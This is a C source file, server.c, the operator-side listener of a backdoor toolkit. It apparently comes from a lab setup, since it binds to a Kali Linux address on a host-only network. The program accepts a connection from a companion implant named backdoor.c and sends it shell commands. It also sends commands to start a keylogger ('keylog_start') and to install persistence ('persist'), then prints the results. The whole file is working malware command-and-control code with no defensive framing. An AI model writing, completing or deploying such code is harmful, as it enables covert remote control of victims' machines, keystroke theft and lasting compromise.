server.c

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>

int main()
{
	int sock, client_socket;
	char buffer[1024];
	char response[18384]; //Must be same size as backdoor.c
	struct sockaddr_in server_address, client_address;
	int i=0;
	int optval = 1;
	socklen_t client_length;

	sock = socket(AF_INET, SOCK_STREAM, 0);

	if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) < 0)
	{
		printf("Error Setting TCP Socket Options!\n");
		return 1;
	}

	server_address.sin_family = AF_INET;
	server_address.sin_addr.s_addr = inet_addr("192.168.56.102"); //IP addr of Kali Linux
	server_address.sin_port = htons(50005);

	bind(sock, (struct sockaddr *) &server_address, sizeof(server_address));
	listen(sock, 5);
	client_length = sizeof(client_address);
	client_socket = accept(sock, (struct sockaddr *) &client_address, &client_length);

	while(1)
	{
		jump:
		bzero(&buffer, sizeof(buffer)); //bzero function natively exists in Linux C implementation 
		bzero(&response, sizeof(response));
		printf("* Shell#%s~$: ", inet_ntoa(client_address.sin_addr));
		fgets(buffer, sizeof(buffer), stdin);
		strtok(buffer, "\n");
		write(client_socket, buffer, sizeof(buffer));
		if(strncmp("q", buffer, 1) == 0)
		{
			break;
		}
		else if(strncmp("cd ", buffer, 3) == 0)
		{
			goto jump;
		}
		else if(strncmp("keylog_start", buffer, 12) == 0)
		{
			goto jump;
		}
		else if (strncmp("persist", buffer, 7) == 0) 
		{
			recv(client_socket, response, sizeof(response), 0);
			printf("%s", response);
		}
		else
		{
			recv(client_socket, response, sizeof(response), MSG_WAITALL);
			printf("%s", response);
		}
	}
}